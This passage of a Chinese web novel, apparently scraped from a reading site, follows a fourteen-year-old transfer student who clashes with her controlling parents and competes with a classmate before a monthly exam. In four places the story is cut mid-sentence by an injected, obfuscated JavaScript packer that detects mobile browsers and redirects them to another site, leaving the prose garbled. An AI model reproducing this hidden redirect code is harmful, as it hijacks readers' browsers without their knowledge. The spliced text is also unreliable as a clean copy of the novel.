冯寂染吸取了上一次在车棚取车的教训,克服了打断对方的羞耻感,鼓起勇气出声叫道:“刘老师。” 刘虹萍猛地挺起腰杆,看到身旁的冯寂染,顿时职业性地笑起来:“是转学以后有哪里不适应吗?” 课间休息只有十分钟,冯寂染长话短说:“刘老师,我想看一下我们班以前的成绩单,了解一下我们班的同学都是什么水平,心里能有点底。马上就要月考了,我心慌得都睡不着觉,我怕第一场考试考砸了,辜负我父母的期待。” 她说的是实话,只是夹了一下说话的音调,语气也比平时正常说话时柔软十倍,显得有些浮夸,但博取同情很好用。 刘虹萍马上就拉开抽屉翻出一沓纸质材料,边安慰她边翻找着她要的成绩单。 “离月考还有三周呢就失眠了,心态上要好好调整哦。我问过其他科任老师对你的印象怎么样,他们都说你上课挺认真的。努力是会有回报的。你这个年纪,想做什么都来得及,没什么好焦虑的。” “真的吗?” “真的。” “我是说是所有老师对我的印象都不错吗?” “嗯……数学老师说你有点好动,体育老师说你很强,我觉得他们可以打一架。” 冯寂染没绷住笑了出来。 “笑什么,本来就是嘛。”刘虹萍眉眼温柔,不是在呵斥她,反而是在积极地鼓励她,“你们这个年纪的孩子最珍贵的就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095975|134633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天性了。我们身为老师,责任就是将你们各自的天性引导成特长,最大程度地帮助你们发光发亮、自由徜徉。好好的保留你的特质,你会因为自己的特殊耀眼的。” 冯寂染不知道为什么,听了刘虹萍的话有股想哭的冲动。 刘虹萍应该是第一个叫她随心所欲的师长。 不论是她的父母,还是镇上的那些老师,都是全力敦促她出成绩。 他们会为她的分数骄傲自豪,满世界炫耀。 只要是能让她提分的手段,他们全都用过。 他们会说“棍棒底下出孝子”、“严师出高徒”,对她进行挫折教育和愧疚式教育。 鞭子抽在身上真的很疼,一直被鞭子撵着也很累。 她本来是只靠内驱力就足够自律的天赋型选手,在这样的教育模式的强制下从肉/体到精神都十分痛苦。 每当她看到他们用从她身上榨取的血汗去奔走相告,并没有感受到身为王者的荣耀,只觉他们践踏在她的尊严之上邀功,仿佛她产生的价值没有一份是属于她自己的。 她眼睁睁看着自己变得越来越阴暗,越来越狭隘,不相信自己被人无条件地爱着的,也不相信别人是因为她的优秀发自内心地为她喝彩。 她厌恶别人在该和她谈利益的时候谈感情,却也厌恶着看穿别人在她身上追逐利益的感觉。 她变得冷漠戒备,擅长用各种伎俩与人博弈,只想好好保护自己,早已忘记了自己的年龄。 如果她没有听错的话,刘虹萍刚才说的是“你们这个年纪的孩子”。 是啊,她今年也才十四岁。 她本该天真懵懂,无忧无虑,沉浸在三口之家粗茶淡饭的幸福里,毫不怀疑她的父母对她的爱,不去思考冯茂鸿和乔明娥之间矛盾的根源在哪里,也不为自己寄人篱下的处境苦恼不已。 没有一个人格健全的人会甘心把自己当作一台没有感情的学习机器。 她因为自己的不败战绩赢得过无数欢呼呐喊,可没有因此获得过一个人的尊重。 她忽然就明白自己为什么会应下谭恒澈的挑战了。 ——假如她赢了,起码能得到他这个对手的尊重。 冯寂染的眼眶逐渐红了,怕刘虹萍看出端倪,她拿到成绩表后说了声“谢谢老师”,就飞快转身跑了。 教师办公室恰好在楼梯口,谭恒澈和陆翊扬正要去小卖部买饮料,这里是必经之路。 她一出办公室的门就撞到了陆翊扬,道了声歉,灵活地从他身旁钻过去了。 陆翊扬挂在腰间的玩偶挂件扣得不牢,摩擦之下被挤掉了。 谭恒澈忍不住嘲笑道:“你都多大了身上还挂个这玩意,不怕那帮女生怀疑你的性取向,跟你在一起久了,我都被问过。” 陆翊扬愣在原地,对着他做了一个打住的手势:“我知道你很想奚落我,但是你先别急。” 谭恒澈的神色凝重起来,连忙问:“怎么了?” 陆翊扬指指冯寂染离开的方向:“她好像哭了。” 这下怔住的是谭恒澈了。 半晌,他冲进面前的教师办公室,问坐在工位上继续批改作业的刘虹萍:“冯寂染刚才来找您干什么了?” 刘虹萍下意识捂住心跳狂烈的胸口。 如果刚才被冯寂染吓到的是一小跳,这次被谭恒澈吓到的就是一大跳了。 一个二个这是要干什么? 不仅走路没声音,连“报告”都不喊啊。 谭恒澈肃着脸,一脸凶相,仿佛不回答他的问题,下一秒就会被生吞活剥。 刘虹萍是知道他们住一起的,也不隐瞒,受到的惊吓还没消散,结结巴巴地说:“哦……她找我要走了我们班往期的成绩单。” 谭恒澈蹙起了锋利的浓眉。 要到成绩单以后就哭了? 成绩单的威慑力这么大吗? 27. 秋思(九) 冯茂鸿和乔明娥今天的心情都很好,因为谭岳投资给他们夫妻俩经营的美发店开始装修了。 店址选在客运站附近,人流量挺大的,地皮也没有闹市区的黄金地段那么昂贵,三不知就有人等车等得不耐烦,索性来剃个头。 夫妻俩预测今后的生意会很红火,买了个铜制的财神像回来摆桌上供着,供品是三盘不同品种的时令水果。 冯寂染想吃还不让吃。 买的时候就一个多余的都没有,抠门抠到家了。 晚饭后夫妻俩像打了鸡血以后要冯寂染陪他们出门散步。 冯茂鸿为了拉她出去,话说得难听:“每天把自己关在屋子里闭门造车,还不如多看看外面的世界。把你带到苏州来就是让你长见识的。学习什么时候不能学?非得我们一回来就学?少在我们面前装样子,让你一起去就一起去。真是进了城就不听话了,翅膀还没硬呢。” 冯寂染一听这话血压就上来了,在学校时胡思乱想想到的那些不被当作人看的瞬间,都像潮水一样涌上来。 她红着眼直勾勾地盯着冯茂鸿,想生生将他的慈父面孔撕碎。 在单独出来自己开店前,冯茂鸿在谭岳给他联系的工厂当主管,管着三条流水线,算是个小领导,但每天的工作都很繁忙,一回家就澡也不洗地躺床上跟乔明娥抱怨或者斗嘴,吵不过老婆就当着她的面开黄腔,被乔明娥制止也不以为意,说她还不是播的种长出来的苗。 今天他无所事事地在还没竣工的店里当了一天监工,瘾还没过够,又回家找起她的麻烦来。 她从前只觉得,乔明娥无时不在的监视和掌控欲令她窒息,没想到冯茂鸿长期不负责任,偶尔这么自以为是地找这么一回茬,也是这么令人崩溃。 在学校里被刘虹萍温暖的心又冷得像在寒冬腊月里冰封过一般,泯灭了对亲情的期待。 她连敷衍的心情都没有了,不过也没有丧失理智,只是态度坚决拎起她的书包背到肩上,冷着脸,不带丝毫感情地拒绝:“我说了不去就是不去,我要学习。” 冯茂鸿没想到一向乖顺的她竟然会反抗自己的命令,顿时横眉怒目地叫嚷起来:“你上哪去?给我回来。再跟我犟我打你了信不信!” 冯寂染本能地升起来一股抗拒,破天荒地跟冯茂鸿撕破了脸:“打死我我也要学习。” 没想到从前一直怀疑她没在好好学习的乔明娥今天突然替她拦住了冯茂鸿,劝说道:“孩子爱学习不是好事吗?你跟孩子较什么劲。她不陪你散步,我陪你。你倒是把衣服换好啊,在店里积了一身灰,怎么出去。” 冯寂染趁着夫妻俩说话背着书包出了门。 她也不知道自己要去哪,但是只要离开了压抑的环境,心中郁结的那股上下不得的气就能消解不少,情绪也能稳定下来了。 比起在外面受辱,更让她难受的是来自亲缘的攻击。 他们知道怎样伤害她能让她最痛,还要包装成爱她的模样让她反过来纠结愧疚,对外唯唯诺诺,对她威胁、恐吓、逼迫、欺凌,最后再给她扣上一顶“不孝”的帽子,就能毫无负担地粉饰对她的暴行,装作无辜地样子对旁人说“我也没把她怎么样,她性格太差了,不知道在哪学成这样的”。 在镇上的时候她一度险些误入歧途,成为人们口中的失足少女,偏偏她争气,被捧上神坛成了高洁的圣女,哪怕是被名分架着也不能再做与形象不符的事情了。 这个世界上根本就没有真正能理解她青春期苦恼的人。 她能拥抱的只有自己。 她也很想拥有一个和谐幸福的家庭,被父母呵护着,阳光开朗地长大,做一个单纯可爱的小女孩。 可有这种挣了钱连养活她都要看她顺不顺从、能不能带来价值的父母,她能怎么办呢? 她忽然感到无比颓丧。 分明答应过谭恒澈要心无旁骛地和他一决高下的,但她好像还是被原生家庭的矛盾困扰着,没有办法展示出全部的实力。 从他们居住的客房里走出来,她原本是要朝门外走的。 现在正是日暮黄昏,大街上车水马龙,会给她一种在落日下流浪的惆怅感。 她从小就想尝试一次离家出走,但每次脚还没迈出门,就会有给她家送东西的街坊邻居让她把一些腌制的熟食或是自酿的甜酒捎给她父母。 这里不会有她认识的人,也不会有人追出来。 她要是想离家出走会走得很顺利。 可是不知怎的,她走的方向就和院门口背道而驰了。 等她回过神的时候,已经站在了谭恒澈的书房门口。 稀微的灯火朦胧地笼罩着古色古香的木屋,挂在墙上的书法作品还是上次见到的那些。 谭恒澈背对着她坐在书桌前,背影的轮廓刚好遮住桌上的台灯。 他的坐姿太随性了,一点也没有少年人的阳刚和朝气,只是体型清瘦,轮廓单薄,身高远超同龄人,纯靠原生的脊梁骨撑起了蓬勃的少年感。 这人真是既讨厌又莫名给人一种可靠感。 她一直以为自己是排斥这里的。 毕竟她第一天来苏州就在这个场景里发生了不愉快。 可要是她的潜意识能将她带到这里来,就说明她没有想象中介意过去发生的事情。 她想悄悄走开,转念想到她走开以后也无处可去,还不如在他这里将就一下。 有个可以供她学习的地方就足够了。 谭恒澈的琴房没经过他的允许她也不敢去。 于是没多久,谭恒澈就看着难得蔫头耷脑的冯寂染可怜兮兮地站在了自己的面前。 他看着她愁容满面的模样,诧异地问:“你怎么了?” 冯寂染心烦意乱,没有力气把她的遭遇跟谭恒澈解释清楚,说实话她也不认为自己和父母之间的那些纠葛能用三言两语说清道明。 她只是有气无力地问:“我能和你一起写作业吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101502|134633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谭恒澈错愕了一瞬,回过神后整个人仍旧有些一反常态的茫然,似乎心里在盘算着别的事情,迟钝而木讷地说:“可以。” 说着,他机械地将自己的辅导资料和文具往左侧拖了一段距离,空出一张课桌大小的位置,又起身拖动自己的椅子腾出一个空位,举重若轻地将旁边放置的空椅搬过来,放在自己的椅子旁边,“坐吧。” 他在思考的事情冯寂染不知道,他可是从她问刘虹萍要走往期成绩单后琢磨到了现在。 当初想要制服她的心早就不在了,取而代之的是想要和她公平较量的胜负欲。 可这会他也不知道自己心里装着的是什么了,或许是对一个漂亮女孩的心软吧。 为他哭得要死要活的女生不计其数。 背着他哭却倔强地不肯吭一声的他可是有生以来头一回见。 他是真的在反省自己是不是做的太过分了。 他又想起冯寂染说她在这里人生地不熟,翻山越岭来这里有多不容易,心里就更不是滋味了。 他看着冯寂染一言不发地从书包里拿出作业本,忽然虚握着拳掩着唇咳了一声:“那个……” 冯寂染的注意力被他吸引,抬眼看向他,目光探寻。 “对了,还没欢迎过你来苏州呢。现在欢迎你来到苏州,来到我家。” 他尽量让自己看起来说得轻松随意,可眼角眉梢不自觉地透露出一丝紧张,声线也略微有些颤抖,和他平时在学校里意气风发的模样大相径庭,像是孤男寡女同处一室带来的不自在。 冯寂染不知道他怎么忽然抽风跟她说这个。 欢迎本就是迎接远道而来的客人的形式主义过场,双方客气一下而已,有和没有都对今后的生活产生不了多大的影响。 可谭恒澈却表情凝肃,郑重其事地接着说:“我不太好客,既然能留在我家,就说明已经是主人了。” 冯寂染听了眉梢倏地扬起,尴尬地扯了扯唇角:“什么?” 她就算不被当成客人,也不至于越俎代庖当家做主吧。 见她不明白自己的意思,谭恒澈用食指抠了抠额头,绞尽脑汁,试图表达自己心中所想的含义:“我是想说,你不要因为寄住在我家就感到拘束。你就好好住在这里,该上学上学,该写作业就写作业,不用不好意思。以后你每天晚上都能过来和我一起写作业,还能有点学习氛围。我不会因为咱俩是竞争对手,就在生活上给你制造困难的,没这么low。你也不要因为我们班是实验班,成绩都比一般同学好就产生畏难情绪。只要是认真对待了,输了也没什么大不了的。” 冯寂染定定看了他半晌,把他的话当成了战前劝降的挑衅,不服气地问:“谁告诉你我会输的?” 这下轮到谭恒澈疑惑了。 她不怕输干嘛在看到那些成绩单后哭鼻子? 谭恒澈脱口而出:“这么善变吗?” 冯寂染面无表情地说:“我一直想赢,从未改变。” 28. 秋思(十) 不到九点,冯寂染就写完了老师布置的所有作业。 她利落地将最后一本习题册合上,叠放在摞在桌面上的一沓作业上,随即缓慢地将这沓笨重的学习资料在桌面上磕了磕,一起塞进书包里。 谭恒澈刚才做作业的时候时不时瞟她一眼,三心二意,作业的进度自然不尽人意,还有差不多一整页的物理作业没写,全是令人想要瞎写一通的填空题。 他本来就倦怠了,冯寂染搬起一摞书磕在桌面上时引起了一阵震颤,他落在纸面上的笔尖受到这阵波动的影响,写出来的笔画扭得像条蜈蚣,哪里还是横平竖直的汉字。 他借机扔了笔,伸了个懒腰,正想跟冯寂染说句话,却见她写完作业也没收工,从书包里拿出课本,一脸严肃地浏览着写满笔记的章节。 嚯—— 就这个批注量,谁要是拿到了她的课本,可跟拿到了武学秘籍一样,得好生研读一番了。 简直是死读书的典范。 冯寂染的余光能感受到谭恒澈的一举一动,包括他窥视过来的目光。 可她选择了无视。 必须死记硬背的公式和公理她已经烂熟于心,只剩一些要深入理解、融会贯通才能的举一反三的难点。 平时的作业和随堂测验她几乎没有出过错,也就没什么错题需要巩固。 初中的内容想要拿满分不是问题,前提是在规定的时限、紧迫的考场环境里不粗心大意,对心理素质的考验也隐藏在考试之中。 她跟谭恒澈在一起学习目的就是为了训练自己在实战中不分心,这样才能摒除可能导致她挑战失败的因素,在心态上战胜他。 无奈在和他单独相处时,饶是她努力集中注意力,也没有办法完全视他为空气。 他的呼吸,他翻页的声响,他大幅度的动作,在寂静的空间内是那样清晰。 “冯寂染。” 半晌,她听到他叫自己的名字。 他收留了失魂落魄的她,不答应的呼唤不太礼貌。 冯寂染抬眼望向他,一偏头就落进少年琥珀色的眼睛里。 谭恒澈痞笑着问她:“你是不是因为跟你爸妈吵架了不想回去。” 被戳中心思,冯寂染心下一悸,心跳猛然加速。 诚然她是来找个安静的环境沉心备考的,却不能否认她父母今天的言行对她造成的影响。 他猜错过一次,写个作业的工夫就命中了正确的答案,说明他的心思压根不在作业上。 这人怎么对她的个人隐私这么关注啊。 冯寂染不高兴地撇撇嘴:“和父母吵架不正常吗?我好歹也和你一样,处在青春叛逆期。” 谭恒澈笑意不减,说了句大实话:“对你来说不正常,你比我能忍多了。” 只不过这次的导火索燃烧得太快,重压之下爆发了。 冯寂染蹙了蹙眉,无可奈何地叹了口气:“说了心无旁骛和你比试的,又被琐碎家常绊住了。我争取尽快把状态调整过来——” 她还要继续给他做保证,谭恒澈轻松随意地打断了她:“不要愁眉苦脸,我给你出个主意怎么样?” 冯寂染心直口快:“你能有什么好主意。” 说完她才意识到自己的冒昧,看谭恒澈的眼神怪尴尬的。 谭恒澈也不跟她计较,把自己的主意讲给她听:“露出一口獠牙以后再装乖就没用了,你得学会给自己找靠山。” 冯寂染鄙夷地抽了抽嘴角:“你是想说找你吗?” “谢谢您嘞,这么高看我,我可没这实力。”谭恒澈趁机占了一波她的便宜才说,“我说的不是我,是我爷爷。你让他老人家把你送回去,你爸妈绝对不敢说你,还会极力向你证明他们有多爱你。” 冯寂染想了想,这的确是上策。 她去投奔谭老爷子会让夫妻俩感到一股替别人养孩子的惶恐,开始害怕将来无人养老,总要给予她一点“爱意”来挽回她的心,同时又忌惮谭老爷子的身份,担心她在谭老爷子面前乱说话,不敢多加斥责。 今天她的忤逆反抗便可不了了之了。 但她也害怕谭老爷子。 谭老爷子训斥小辈的场景历历在目,威严不可侵犯。 她想想都犯怵。 于是她千方百计地找借口不去尝试:“这么晚了,他老人家应该休息了吧,我现在去打扰不太好。” “没睡。”谭恒澈斩钉截铁地给她提供情报,“这个时间他老人家肯定没睡。他老人家自从死里逃生,捡回一条命,就一直失眠多梦,安眠药都换了几种了。他一直想要个孙女,偏偏命里没有。你去哄哄,一准能让他为你做主。” 冯寂染警惕地盯着他说:“你没使诈吧。” “嘿——”谭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145077|134633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恒澈气笑,“你能不能不以小人之心度君子之腹?你以为谁都跟你一样狡猾,像我这样乐于助人的好人反被你怀疑用心。” 行吧,死马当做活马医吧。 反正除了这样别无他法。 冯寂染背起书包,作势要走。 谭恒澈拽住她的书包提手,害她一个趔趄栽进了他怀里,顿时气急败坏地娇嗔道:“你干什么啊。” 谭恒澈也被吓了一跳。 少女的肢体柔软温热,触感是从未体会过的新鲜,令他心动不已。 他慌乱地举起双手,试图说明自己的无辜:“我不是故意的,就是想让你把书包放这里再去。你这样像是从放学一直在外面闲逛到现在才回来,他老人家也喜欢乖女孩。而且你去了以后不能说是和父母闹了矛盾,也不能在他老人家说你父母的不是,他们都是一伙的。” 冯寂染听完他的解释冷静下来,真心实意地说了句“多谢”。 幸亏谭恒澈提醒她了,不然她还真就把谭老爷子当成诉苦对象了。 谭老爷子对她而言是救星,对谭恒澈来说何尝不是她父母一样的角色呢? 能让孩子自由发展的开明父母少之又少,绝大多数父母都希望把自己的孩子雕琢成自己想要的模样,或许是弥补自己一辈子都完不成的遗憾,或是延续自己的意志传承延绵,或许是为自己的余生做保障。 感情是有的,当工具人使用也是真的。 提线木偶根本不需要有自主意识,万一有了就白养了。 她要是在谭老爷子面前说父母的坏话,她就是忘恩负义的白眼狼,要不要再施舍恩惠,就要重新考量了。 冯寂染说了句“知道了”,把书包留在了书房里,迈步隐入了浓稠的夜色中。 谭恒澈看着她清瘦的背影,眉眼间多了一丝身为同类的怜悯。 所谓孝顺,重不在孝,在顺。 可要闯荡前路,不得不推翻压在身上的五指山。 真正的亲情是不需要用“子欲养而亲不待”煽情的。 因为爱是能够被察觉感知的。 要是真的被爱,会幸福到每分每秒都想着“一家人永远在一起”。一旦分离,对家乡和亲人的思念,会融于骨血中。 从他开始奋发向上,完全按照他自己的意志行事时,他就决定舍弃他的家世背景,勇闯天涯,绝不回头。 29. 秋思(十一) 听从了谭恒澈的建议,冯寂染当晚搬了谭老爷子当救兵,成功躲过了冯茂鸿的训斥。 不过这招治标不治本。 当晚,最后,她还是跟冯茂鸿赔礼道歉,承认是自己做得不对,才在乔明娥的说和下,和冯茂鸿冰释前嫌。 入睡前乔明娥还在跟她絮叨“总归是一家人,有什么矛盾不能解决”。 又一次妥协的冯寂染闻言无奈地扯了扯唇角,不置一词。 她的情绪,她的感受,她的诉求,一样都没被他们照顾到。 单方面的退让就像是饮鸠止渴,等一个周期结束,依然会卷土重来。 冯寂染不想再去和无法沟通的父母抗衡。 这样会消耗她本该放在学习上的精力。 她一直都很清醒地明白,她只有学习这一条出路。 没有人成就她,她就靠自己。 比起一夜之间的被动成熟,像她这样在还处在萌芽阶段就有意识地主动成长,觉醒得相当超前了。 冯寂染还以为谭恒澈给她支招以后会邀功的。 毕竟她的父母在为她提供过指导意见以后通常都会把所有功劳都揽过去,她已经习惯了。 没想到第二天她和谭恒澈在餐厅遇见,他若无其事地跟她说了声“今天的鸡蛋是全熟的”,她一时间没反应过来。 她怔愣了半晌才从识海中将谭恒澈说的那句话捞出来,想起自己在第一次吃到溏心蛋时随口说了一句“腥味好重”,问乔明娥半生不熟的鸡蛋能吃吗,当时乔明娥对她说“吃就行了,穷讲究,你什么时候有这么娇气的毛病了”。 这也被谭恒澈听进去了? 冯寂染发现了。 不是他在单方面向她输入他家的隐私,她家的隐私也在源源不断地被他接收。 想当初谭恒澈叫她不要对外人说他家的事时,她先入为主地就把自己放在一个偷窥者的位置上。 然而现在他对她的窥视,只多不少。 发现这点以后,冯寂染心里倒也没有多不舒服,反而觉得以前那些难以对外人道的秘密有了倾诉的对象。 反正他都知道了,她说再多也无所谓了。 到了上学的时间,他们和往常一样,一起骑车去上学。 这下独处了,冯寂染默默等待着谭恒澈来问她昨晚的结果,可谭恒澈等都不等她,跨上车就骑走了。 他离开时扬起一阵劲风,猛烈地刮向她。 她刚换上的备用校服被风吹得鼓鼓囊囊。 随着风起,一股刺鼻的洗衣粉味从干净的校服上传来,呛得她打了个喷嚏。 和第一次跟他一起骑车上学不同,她已经熟悉了通往学校的路,不再需要人为她领路。 可被谭恒澈抛在身后的感觉还是令她不愉快。 她连忙坐上折叠自行车,飞快蹬动踏板,将一前一后两个轮子踩成了风火轮。 明理中学上学早,还没有到早高峰,街道上的人和车都还很稀少。 街道旁的环卫工人已然准备收工,垃圾车里堆满了枯黄的落叶。 黄绿相间的工作服色泽鲜艳,在晨雾中分外扎眼。 老人将比人还高的大扫帚放在垃圾车顶上,吃力地推着垃圾车,沿着街道慢慢走。 冯寂染放慢了蹬车的速度,慢速经过,等绕开老人才又加速。 阳光透过枝叶的缝隙闪烁着光芒,清晨的新鲜空气清冽自然。 在驭风而行的路上,她感觉整个世界都是她的。 是他们年轻的这一代人的。 — 冯寂染到了教室,看见正在走廊上拖地的值日搭子,才想起自己是今天负责打扫教室内部的值日生。 教室内的卫生由两个人负责。 她是负责扫地的,还有一个是负责拖地的。 她没扫,拖地的同学也没帮她扫,见她来了便一脸不悦地埋怨:“知道今天值日怎么也不早点来?你不扫我都没办法拖,洗好的拖把都快干了。” 赵伊婷见状又准备帮她出头,冯寂染连忙拦住不分青红皂白全然向着她的赵伊婷。 不是所有矛盾都非得用激烈的方式解决,赵伊婷捅娄子的本事也是一流的。 她看着靠在墙角的拖把,眼见确实水分都沥干了,不得不承认,虽然对方态度不好,但这事是她理亏。 “对不起,我马上拿清洁工具。我边扫你边拖,早自习前能打扫干净的。” 她看着端庄温婉,实则干练,匆匆从教室后面拿了撮箕和扫帚,便雷厉风行地干起活来。 扫到谭恒澈身边时,即便他脚下没有肉眼可见的垃圾,他还是主动地抬起脚。 他还跟她道歉:“我知道你是今天的值日生,但早上我睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178159|134633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过头,给忘记了。” 但这好像不关他的事吧? 冯寂染扫得着急,潦草地扫了两下灰,就把扫帚伸向杜明宇的座位,敷衍地对谭恒澈说了声“没事”。 和谭恒澈的配合比起来,杜明宇的刁难显得格外刻薄。 本来杜明宇的脚下和谭恒澈座位底下一样是干干净净的,这讨厌鬼见到冯寂染来,特地把草稿纸撕成一片一片撒在了地上让她扫。 如果是纸团还好,球状算好清理的。 纸片被撕得又薄又碎,附着在地上抠都难抠起来,更别说用扫帚扫了。 面对杜明宇的找茬,冯寂染还没开口,谭恒澈就面色不善地对杜明宇说:“你没病吧。” 杜明宇没有丝毫愧意,理直气壮地说:“今天归她值日,她就有义务把教室里的垃圾收走,我只不过是帮她把垃圾丢到显眼的位置上罢了。这么着急为她出头,还说不是喜欢她。英雄救美,百分百都是别有所图。” “喜欢”在学生眼里是十分暧昧的词汇,他大声说出口后,身边的人都忽略了他没素质的行为,笑着起哄。 谭恒澈不怒反笑:“考试考不赢我,追求者没我多,下三滥的招数倒是花样百出,比无赖我当然自愧不如。让我猜猜你今天的发病原因,是不是追二班的女生又被拒了?” 这下焦点顿时回到了杜明宇身上。 冯寂染还有大半个教室没扫,没工夫把时间浪费在陪他们争执上,马上接着往后扫了。 那个和她一起值日的女生紧接着拖到这里时,看到一地的纸屑很是崩溃,大声喝问:“谁干的?!” 刚才在旁边起哄的人齐刷刷地指向杜明宇。 值日的女生提起拖把就往杜明宇身上挥:“杜明宇,你坏事做尽!” 杜明宇抱着脑袋边躲边说:“这件事情是这样的,你听我说。” “我不听!”女生把拖把扔给他,“有什么好解释的!你弄的你收拾!把剩下的卫生也做了,不然我就告到萍萍那里去!萍萍要是不管,我就告到教导处,让张主任来整顿校风校纪!” 围观的人一脸幸灾乐祸,看热闹不嫌事大地笑着说:“告!告到中央!” 杜明宇的脸色比吞了苍蝇还难看。 冯寂染整理好撮箕扫帚和垃圾桶,抬头看到谭恒澈噙笑的模样,忽然发现,原来他也有七情六欲。 30. 秋思(十二) 明理中学每个月的月考时间都是固定的,大概在月底学完一个单元的知识点之后,相当于给备课的科任老师定个小目标,以便敦促老师们按时完成教学进度,对于学生而言也是阶段性检验学习成果的方式。 月考的地位夹在大小考之间,没有隆重到要分考场打散同一个班的学生,只是在各自的教室里考试,但批阅完试卷出了分,依然要在年级间公布排名。 离月考越近,班上的氛围就越紧张。 在考试带来的压迫感之下,不知不觉多了很多临时抱佛脚的人,也有一些人还没考试就为自己考砸找好了借口。 “我最近老是拉肚子,还没到考试我就不行了……” “说得好像你七老八十了行不行?年纪轻轻就和建圣一个体质,不能吧?” “你别说,你还真别说,建圣的体格说不定比我强,起码他在捉人的时候步伐矫健、声如洪钟,上了年纪——” 话还没说完,刚好巡视到他们班的张建圣从窗口经过,指着说话的男生说:“老师晚来两分钟,不会自己先复习,非得拉着前后左右讲话?别以为自己是实验班的学生就轻视对手!后面班高手多着呢,我看你们被后面班的学生超了丢不丢人!” 那个在背后议论张建圣的学生,先是尴尬得红温,在听到张建圣说的话后,愤怒得整张脸涨得通红,只是设想了一下场景,就已经足以让人血压飙升了。 他们这些实验班的学生从学龄前的教育起就走在其他人前面,小学的时候分数拉不开差距,老师家长也是以鼓励式教育为主,最多说性格不合群。无疑是被当作天之骄子捧着长大的,优越感也在成长的过程中升至巅峰。 这要被其他班的同学赶超了,比杀了他还难受。 男生原本是畏惧身为教导主任的张建圣的,可被张建圣的话刺激到以后,神色顿时严肃了起来,为自己的尊严而战。 “您放心好了,这次月考我绝对高于其他班平均分。” 张建圣听到他雄赳赳气昂昂的发誓都愣住了,一时不知道是该为学生的志气欣慰,还是该为自己的冒犯道歉。 过了一会儿他反应过来。 平均分? 志气是有的,但不多。 立军令状的时候必须保守。 对峙几秒,男生依旧昂首挺胸毫不服软,凝重的神色像是下一秒就准备英勇就义。 张建圣无可奈何地伸手在虚空中点了点:“好好上课。” 急匆匆赶来的科任老师路过张建圣,礼貌地叫了声“张主任”。 张建圣的焦点转移,面无表情地对科任老师说:“下次再开会和其他老师换下课,别误了上课时间。” “好的。”科任老师连忙答应,赶紧溜进了教室,在进度已经达标的情况下对班上的学生发号施令,“大家把《课课通》拿出来,翻到第一章的考情聚焦。” 张建圣头一次在巡课的时候碰了一鼻子灰,摇着头低声说道:“现在的学生,一个比一个有个性,一句都说不得。” 张建圣走后,那名男生的同桌乐呵呵地说:“你跟建圣争什么?他还真能把你月考卷子翻出来找你茬吗?像这种以集体为单位论高下的时候,我一般都只求能沾上咱班大神的光就好。你们卷吧,我期末考试再发力,这次月考我就先躺平了。” 男生白了他一眼:“就这点出息。” “我是就这点出息怎么了?你有出息刚才怎么只敢跟别人班平均分比,有本事霸气一点,说碾压他们班第一啊。” “我这叫有自知之明。谦虚使人进步,骄傲使人落后,你懂不懂?” “我懂,毛爷爷说得对。” 冯寂染默不作声地旁观了全过程。 她来苏州一个月,刚刚适应生活环境和学习环境,每天接收的信息量和接触到的新鲜事物比输入脑海的知识还要多,只有在面对熟悉的考试时,她才找回了一点亲切的实感。 听张建圣的言下之意,其他班的同学实力也不弱,但不管怎么样,分数是翻不出花样的,考多少分就是多少分,了不起排名相同。 她有把握,不论她能不能一鸣惊人,排名榜上都会有她的一席之地。 心无旁骛地向前冲吧。 别人很强,她也不差。 — 月考如期而至,分发试卷是全国统一的朴素方式。老师数完卷子丢给第一排的同学,每个人都自己拿一张,再向后传。 冯寂染拿到卷子的一刻,瞬间安心了。 这是她上学以来,第一次拿到字迹印得这么清晰的试卷。 镇上学校的打印机都是用了十几年的,早该淘汰了,却因为学校经费有限,非要抠抠搜搜地用到彻底报废为止。 有时候印发的试卷,每张上缺的字都是由老师一张张手动补齐的。 看着就心酸。 现在她不光是如鱼得水,还有种鸟枪换炮的幸福感,不禁想道:她过去过得都是什么苦日子啊。 她胸有成竹地提笔落字,下笔如有神。 直到做完了试卷正面的题目,她才想起来忘记填写自己的姓名班级了。 写下“冯寂染”和“初二(1)班”时,激动的心情溢于言表。 